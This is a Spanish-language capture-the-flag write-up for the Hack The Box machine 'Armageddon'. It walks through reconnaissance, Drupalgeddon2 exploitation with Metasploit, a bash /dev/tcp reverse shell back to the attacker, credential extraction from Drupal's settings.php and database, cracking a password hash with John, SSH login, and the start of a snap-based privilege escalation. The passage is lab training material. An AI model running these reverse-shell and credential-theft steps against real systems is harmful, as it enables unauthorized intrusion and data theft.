Armageddon [EASYπ’]
Dificultad: FΓ‘cil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
PING 10.10.10.233 (10.10.10.233) 56(84) bytes of data.
64 bytes from 10.10.10.233: icmp_seq=1 ttl=63 time=173 ms
--- 10.10.10.233 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 172.904/172.904/172.904/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
# Nmap 7.95 scan initiated Wed Feb 19 20:58:56 2025 as: /usr/lib/nmap/nmap --privileged -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo 10.10.10.233
Nmap scan report for 10.10.10.233
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-19 20:58:58 -03 for 28s
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC2xdFP3J4cpINVArODYtbhv+uQNECQHDkzTeWL+4aLgKcJuIoA8dQdVuP2UaLUJ0XtbyuabPEBzJl3IHg3vztFZ8UEcS94KuWP09ghv6fhc7JbFYONVJTYLiEPD8nrS/V2EPEQJ2ubNXcZAR76X9SZqt11JTyQH/s6tPH+m3m/84NUU8PNb/dyhrFpCUmZzzJQ1zCDStLXJnCAOE7EfW2wNm1CBPCXn1wNvO3SKwokCm4GoMKHSM9rNb9FjGLIY0nq+8mt7RTJZ+WLdHsje3AkBk1yooGFF+0TdOj42YK2OtAKDQBWnBm1nqLQsmm/Va9T2bPYLLK5aUd4/578u7h
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE4kP4gQ5Th3eu3vz/kPWwlUCm+6BSM6M3Y43IuYVo3ppmJG+wKiabo/gVYLOwzG7js497Vr7eGIgsjUtbIGUrY=
| 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9ZlC3EA13xZbzvvdjZRWhnu9clFOUe7irG8kT0oR4A
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Welcome to Armageddon | Armageddon
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
| /LICENSE.txt /MAINTAINERS.txt /update.php /UPGRADE.txt /xmlrpc.php
| /admin/ /comment/reply/ /filter/tips/ /node/add/ /search/
| /user/register/ /user/password/ /user/login/ /user/logout/ /?q=admin/
| /?q=comment/reply/ /?q=filter/tips/ /?q=node/add/ /?q=search/
|_/?q=user/password/ /?q=user/register/ /?q=user/login/ /?q=user/logout/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 19 20:59:26 2025 -- 1 IP address (1 host up) scanned in 29.84 seconds
Podemos ver que se encuentran 2 puertos abiertos(22 y 80) con sus respectivas versiones del servicio que se encuentran corriendo en la maquina, en el caso del puerto 80, se encuentra alojado un servidor web Apache y en el caso del puerto 22 se encuentra alojado un servidor SSH(OpenSSH 7.4) para control remoto mediante linea de comandos
1.3 whatweb
1.3 whatweb
http://10.10.10.233/ [200 OK] Apache[2.4.6], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTP
β Server[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[10.10.10.233], JQuery, MetaGenerator[Drupal 7 (ht
β tp://drupal.org)], PHP[5.4.16], PasswordField[pass], PoweredBy[Arnageddon], Script[text/javascript], T
β itle[Welcome to Armageddon | Armageddon], UncommonHeaders[x-content-type-options,x-generator], X-Fra
β me-Options[SAMEORIGIN], X-Powered-By[PHP/5.4.16]
Se puede visualizar diferentes tecnologΓas web que se utilizan en el servidor web:
Apache 2.4.6
Drupal 7
OS del host: CentOS
PHP 5.4.16
JQuery
1.4 Fuzzing
1.4 Fuzzing
# Dirsearch started 2025-02-19 21:11:54 as: /usr/local/bin/dirsearch -u http://10.10.10.233/ -o fuzzing
200 317B http://10.10.10.233/.editorconfig
200 174B http://10.10.10.233/.gitignore
403 3KB http://10.10.10.233/authorize.php
403 210B http://10.10.10.233/cgi-bin/
200 109KB http://10.10.10.233/CHANGELOG.txt
200 1KB http://10.10.10.233/COPYRIGHT.txt
403 7KB http://10.10.10.233/cron.php
301 237B http://10.10.10.233/includes -> http://10.10.10.233/includes/
200 10KB http://10.10.10.233/includes/
200 7KB http://10.10.10.233/index.php
404 7KB http://10.10.10.233/index.php/login/
200 132KB http://10.10.10.233/includes/bootstrap.inc
200 3KB http://10.10.10.233/install.php
200 2KB http://10.10.10.233/INSTALL.mysql.txt
200 2KB http://10.10.10.233/INSTALL.pgsql.txt
200 3KB http://10.10.10.233/install.php?profile=default
200 18KB http://10.10.10.233/INSTALL.txt
200 18KB http://10.10.10.233/LICENSE.txt
200 9KB http://10.10.10.233/MAINTAINERS.txt
301 233B http://10.10.10.233/misc -> http://10.10.10.233/misc/
301 236B http://10.10.10.233/modules -> http://10.10.10.233/modules/
200 9KB http://10.10.10.233/modules/
301 237B http://10.10.10.233/profiles -> http://10.10.10.233/profiles/
200 271B http://10.10.10.233/profiles/minimal/minimal.info
200 743B http://10.10.10.233/profiles/standard/standard.info
200 278B http://10.10.10.233/profiles/testing/testing.info
200 5KB http://10.10.10.233/README.txt
200 2KB http://10.10.10.233/robots.txt
301 236B http://10.10.10.233/scripts -> http://10.10.10.233/scripts/
200 3KB http://10.10.10.233/scripts/
301 234B http://10.10.10.233/sites -> http://10.10.10.233/sites/
200 151B http://10.10.10.233/sites/all/libraries/README.txt
200 1020B http://10.10.10.233/sites/all/themes/README.txt
200 1KB http://10.10.10.233/sites/all/modules/README.txt
200 0B http://10.10.10.233/sites/example.sites.php
200 904B http://10.10.10.233/sites/README.txt
301 235B http://10.10.10.233/themes -> http://10.10.10.233/themes/
200 2KB http://10.10.10.233/themes/
403 4KB http://10.10.10.233/update.php
200 10KB http://10.10.10.233/UPGRADE.txt
200 2KB http://10.10.10.233/web.config
200 42B http://10.10.10.233/xmlrpc.php
Podemos tambien notar que el servidor web tiene una incorrecta sanitizaciΓ³n, una vez realizado el fuzzing(en mi caso con la herramienta dirsearch), vemos directorios clΓ‘sicos como "robots.txt" o "xmlrpc.php", ademΓ‘s de directorios propios de la maquina con herramientas, como por ejemplo "http://10.10.10.233/scripts/", donde encontraremos diferentes scripts en Bash, entre ellos uno para descifrar contraseΓ±as hasheadas
2- Escaneo de vulnerabilidades
2.1 Searchsploit(Drupal 7)
2.1 Searchsploit(Drupal 7)
----------------------------- ---------------------------------
Exploit Title | Path
----------------------------- ---------------------------------
Drupal 10.1.2 - web-cache-po | php/webapps/51723.txt
Drupal 4.1/4.2 - Cross-Site | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comme | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod | php/webapps/1821.php
β― searchsploit drupal 7
----------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------- ---------------------------------
Drupal 10.1.2 - web-cache-poisoning-External-service-interaction | php/webapps/51723.txt
Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector | php/webapps/4510.txt
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS) | php/webapps/50841.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit) | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - Mult | php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection | php/webapps/33410.txt
----------------------------------------------------------------------------------------- ---------------------------------
Se puede ver que hay varias vulnerabilidades para este CMS como lo es Drupal 7, si prestamos atenciΓ³n, vemos que hay exploits o vulnerabilidades llamadas "Drupalgeddon", especΓficamente estos exploits:
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)
Estas vulnerabilidades o exploits estΓ‘n disponibles entre la versiΓ³n de Drupal 7.0 y Drupal 7.31, que en nuestro caso coincide con la versiΓ³n de la maquina
3- ExplotaciΓ³n de Drupalgeddon automatica
3.1 Metasploit Framework
3.1 Metasploit Framework
Nos vamos a ir a Metasploit Framework luego de haber analizado las vulnerabilidades encontradas con la herramienta de Searchsploit dentro de Kali. Vamos a buscar dentro de Metasploit con el comando "search" la vulnerabilidad antes mencionada "Drupalgeddon":
msf6 > search Drupalgeddon
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
1 \_ target: Automatic (PHP In-Memory) . . . .
2 \_ target: Automatic (PHP Dropper) . . . .
3 \_ target: Automatic (Unix In-Memory) . . . .
4 \_ target: Automatic (Linux Dropper) . . . .
5 \_ target: Drupal 7.x (PHP In-Memory) . . . .
6 \_ target: Drupal 7.x (PHP Dropper) . . . .
7 \_ target: Drupal 7.x (Unix In-Memory) . . . .
8 \_ target: Drupal 7.x (Linux Dropper) . . . .
9 \_ target: Drupal 8.x (PHP In-Memory) . . . .
10 \_ target: Drupal 8.x (PHP Dropper) . . . .
11 \_ target: Drupal 8.x (Unix In-Memory) . . . .
12 \_ target: Drupal 8.x (Linux Dropper) . . . .
13 \_ AKA: SA-CORE-2018-002 . . . .
14 \_ AKA: Drupalgeddon 2 . . . .
Tenemos un exploit dentro de Metasploit Framework de Drupal 7, totalmente automatizado para su uso, vamos a selecciΓ³nar el exploit "exploit/unix/webapp/drupal_drupalgeddon2" con el comando "use 0"
msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >
Vamos a listar las opciones de configuraciΓ³n del exploit con el comando "show options":
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.8.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
View the full module info with the info, or info -d command.
Procederemos a configurar las direcciones IP correspondientes del exploit, tanto del host remoto que en este caso es "10.10.10.233" y la direcciΓ³n del segmento local que nos asigno la VPN de Hack The Box
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 10.10.14.25
LHOST => 10.10.14.25
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 10.10.10.233
RHOST => 10.10.10.233
Y procederemos con la ejecuciΓ³n del exploit con el comando "run" o "exploit" para la posterior intrusiΓ³n dentro de la maquina y la obtenciΓ³n de una shell Meterpreter:
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 10.10.14.25:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (40004 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.25:4444 -> 10.10.10.233:40938) at 2025-02-19 22:17:05 -0300
meterpreter >
Vamos a listar los directorios del servidor web de la maquina en la consola de meterpreter con el comando "ls"
meterpreter > ls
Listing: /var/www/html
======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 317 fil 2017-06-21 15:20:18 -0300 .editorconfig
100644/rw-r--r-- 174 fil 2017-06-21 15:20:18 -0300 .gitignore
100644/rw-r--r-- 6112 fil 2017-06-21 15:20:18 -0300 .htaccess
100644/rw-r--r-- 111613 fil 2017-06-21 15:20:18 -0300 CHANGELOG.txt
100644/rw-r--r-- 1481 fil 2017-06-21 15:20:18 -0300 COPYRIGHT.txt
100644/rw-r--r-- 1717 fil 2017-06-21 15:20:18 -0300 INSTALL.mysql.txt
100644/rw-r--r-- 1874 fil 2017-06-21 15:20:18 -0300 INSTALL.pgsql.txt
100644/rw-r--r-- 1298 fil 2017-06-21 15:20:18 -0300 INSTALL.sqlite.txt
100644/rw-r--r-- 17995 fil 2017-06-21 15:20:18 -0300 INSTALL.txt
100644/rw-r--r-- 18092 fil 2016-11-16 20:57:05 -0300 LICENSE.txt
100644/rw-r--r-- 8710 fil 2017-06-21 15:20:18 -0300 MAINTAINERS.txt
100644/rw-r--r-- 5382 fil 2017-06-21 15:20:18 -0300 README.txt
100644/rw-r--r-- 10123 fil 2017-06-21 15:20:18 -0300 UPGRADE.txt
100644/rw-r--r-- 6604 fil 2017-06-21 15:20:18 -0300 authorize.php
100644/rw-r--r-- 720 fil 2017-06-21 15:20:18 -0300 cron.php
040755/rwxr-xr-x 4096 dir 2017-06-21 15:20:18 -0300 includes
100644/rw-r--r-- 529 fil 2017-06-21 15:20:18 -0300 index.php
100644/rw-r--r-- 703 fil 2017-06-21 15:20:18 -0300 install.php
040755/rwxr-xr-x 4096 dir 2020-12-04 07:10:24 -0300 misc
040755/rwxr-xr-x 4096 dir 2017-06-21 15:20:18 -0300 modules
040755/rwxr-xr-x 70 dir 2017-06-21 15:20:18 -0300 profiles
100644/rw-r--r-- 2189 fil 2017-06-21 15:20:18 -0300 robots.txt
040755/rwxr-xr-x 261 dir 2017-06-21 15:20:18 -0300 scripts
040755/rwxr-xr-x 75 dir 2017-06-21 15:20:18 -0300 sites
040755/rwxr-xr-x 94 dir 2017-06-21 15:20:18 -0300 themes
100644/rw-r--r-- 19986 fil 2017-06-21 15:20:18 -0300 update.php
100644/rw-r--r-- 2200 fil 2017-06-21 15:20:18 -0300 web.config
100644/rw-r--r-- 417 fil 2017-06-21 15:20:18 -0300 xmlrpc.php
Hay directorios relacionados al fuzzing que hemos realizado anteriormente en la etapa de reconocimiento y escaneo con la herramienta "dirsearch".
Ahora obtendremos una shell Bash pura del servidor web con el comando "shell"
meterpreter > shell
Process 3264 created.
Channel 0 created.
whoami
apache
4- ObtenciΓ³n de shell con netcat
Esta shell que nos da meterpreter es muy escasa y restrictiva para algunos comandos, vamos a mandarnos una shell mediante netcat, abrimos una nueva consola dentro de nuestro Kali y ejecutamos el siguiente comando para ponernos en escucha con netcat mediante el puerto 443
β― nc -nlvp 443
listening on [any] 443 ...
Volvemos a la shell de meterpreter donde dentro tenemos la shell restrictiva que nos ofrece, y ejecutamos el siguiente comando para establecer la conexiΓ³n desde el servidor objetivo a nuestra maquina Kali:
bash -c 'bash -i >& /dev/tcp/{IP de destino}/{Puerto de destino} 0>&1'
En mi caso el comando se estructuraria de esta manera:
bash -c 'bash -i >& /dev/tcp/10.10.14.25/443 0>&1'
Una vez ejecutado el comando, recibirΓamos la shell desde nuestro netcat de Kali donde previamente estΓ‘bamos en escucha por el puerto 443:
β― nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.233] 33022
bash: no job control in this shell
bash-4.2$
Ejecutemos el comando "whoami" para verificar que estamos dentro del servidor web:
bash-4.2$ whoami
whoami
apache
Con esto ya tendrΓamos acceso a la maquina, por ende a la flag de usuario o user.
Pero, ΒΏCΓ³mo encontrarΓamos la flag o el hash para introducirlo en Hack The Box?
5- ExplotaciΓ³n de la base de datos MySQL
Dentro de los CMS o Sistema de gestion de contenido, ya sea Drupal o WordPress, es facil que haya unos archivos que escondan contraseΓ±as, como por ejemplo archivos de backup o configuraciΓ³n.
Si listamos los directorios dentro la shell que obtuvimos en netcat dentro de nuestro Kali:
bash-4.2$ ls
ls
CHANGELOG.txt
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php
bash-4.2$
Entramos dentro del directorio "sites" y listamos los directorios:
bash-4.2$ cd sites
cd sites
bash-4.2$ ls
ls
README.txt
all
default
example.sites.php
bash-4.2$
Podemos ver un directorio llamado "default", si entramos dentro del directorio y listamos:
bash-4.2$ cd default
cd default
bash-4.2$ ls
ls
default.settings.php
files
settings.php
bash-4.2$
Hay un fichero php llamado "settings.php", si visualizamos el fichero con el comando "cat", vamos a notar que dentro del fichero settings.php encontramos diferentes credenciales, concretamente estas lΓneas de php:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
Se trata de las credenciales de una base de datos, concretamente una base de datos MySQL
Nombre de la base de datos: drupal
Usuario: drupaluser
Password: CQHEy@9M*m23gBVj
Host: localhost
Con estas credenciales, vamos a conectarnos a la base de datos mencionada dentro de la shell que obtuvimos con netcat:
bash-4.2$ mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;'
Este comando se estructura de la siguiente manera:
mysql -u {Usuario} -p{ContraseΓ±a} -D {Base de datos} -e '{InstrucciΓ³n SQL}'
(Recordar que la contraseΓ±a va sin espacio -pContraseΓ±a)
Comando: mysql
-u: Usuario
-p: ContraseΓ±a
-D: Nombre de la base de datos
-e: InstrucciΓ³n SQL a ejecutar dentro de la base de datos
Una vez ejecutado el comando correspondiente, nos devuelve las tablas de la base de datos con la consulta que habΓamos especificado en el comando "SHOW TABLES;":
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;'
Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog
Como podemos ver, hay una tabla dentro de la base de datos llamada "users", vamos a consultar que hay dentro de la tabla "users" ejecutando el mismo comando anterior pero cambiando la instrucciΓ³n SQL:
bash-4.2$ mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'SELECT * FROM users;'
En este caso seleccionamos todos los elementos de la tabla "users" con la instrucciΓ³n SELECT.
Nos devuelve toda la informaciΓ³n dentro de la tabla users:
bash-4.2$ mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'SELECT * FROM users;'
<er -pCQHEy@9M*m23gBVj -D drupal -e 'SELECT * FROM users;'
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
Hay un usuario llamado "brucetherealadmin" con su respectiva contraseΓ±a hasheada
Usuario: brucetherealadmin
Password: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Como la contraseΓ±a esta hasheada, procederemos a hacer fuerza bruta con John The Ripper
5.1 John The Ripper para la contraseΓ±a hasheada
5.1 John The Ripper para la contraseΓ±a hasheada
Vamos a almacenar la contraseΓ±a hasheada en un archivo .txt para pasarlo como parΓ‘metro dentro de John The Ripper
β― vim hash_password.txt
β― cat hash_password.txt
ββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β File: hash_password.txt
ββββββββΌββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1 β $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Una vez almacenado el hash en un archivo .txt, procedemos a ejecutar John The Ripper con el comando "john", pasΓ‘ndole como parΓ‘metro el archivo .txt donde esta almacenado el hash:
β― john hash_password.txt
Ejecutamos:
β― john hash_password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
booboo (?)
1g 0:00:00:00 DONE 2/3 (2025-02-19 23:12) 1.086g/s 173.9p/s 173.9c/s 173.9C/s asdfjkl;..bradley
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
La password es "booboo"
Usuario: brucetherealadmin
Password: booboo
6- IntrusiΓ³n a SSH con la contraseΓ±a crackeada
Si recordamos, en el escaneo de Nmap, nos dio como resultado el puerto 22 abierto, un servidor SSH
Si probamos conectarnos mediante SSH con las credenciales que encontramos:
ssh brucetherealadmin@10.10.10.233
Ejecutamos y nos pedira la contraseΓ±a, en este caso "booboo":
β― ssh brucetherealadmin@10.10.10.233
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ED25519) to the list of known hosts.
brucetherealadmin@10.10.10.233's password:
Introducimos la contraseΓ±a:
β― ssh brucetherealadmin@10.10.10.233
The authenticity of host '10.10.10.233 (10.10.10.233)' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.233' (ED25519) to the list of known hosts.
brucetherealadmin@10.10.10.233's password:
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$
6.1 ObtenciΓ³n de la flag de usuario
6.1 ObtenciΓ³n de la flag de usuario
Ya tendremos acceso al usuario "brucetherealadmin", si listamos los directorios, nos encontraremos con la flag de usuario:
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
3cf624ed7a6bbe77d4331d315e559b15
[brucetherealadmin@armageddon ~]$
7- Escala de privilegios
Siempre que se quiera realizar escalamiento de privilegios, es recomendable visualizar y analizar los comandos que podemos ejecutar dentro del usuario que se comprometiΓ³, en este caso el usuario es "brucetherealadmin"
ΒΏCΓ³mo visualizamos los permisos del usuario?
Con el comando "sudo -l"
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2
QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Podemos visualizar que tendremos acceso al comando "Snap" sin contraseΓ±a(NOPASSWD), Γ³sea como usuario root. Snap es un gestor de paquetes para GNU/Linux, podremos instalar paquetes dentro de la maquina con el gestor de paquetes Snap como si fuΓ©semos usuarios root
7.1 Vulnerabilidad Dirty Sock con el gestor de paquetes Snapd
7.1 Vulnerabilidad Dirty Sock con el gestor de paquetes Snapd
Si investigamos, vamos a notar que en el gestor de paquetes "snapd", existe una vulnerabilidad llamada Dirty Sock, clasificada como "CVE-2019-7304".
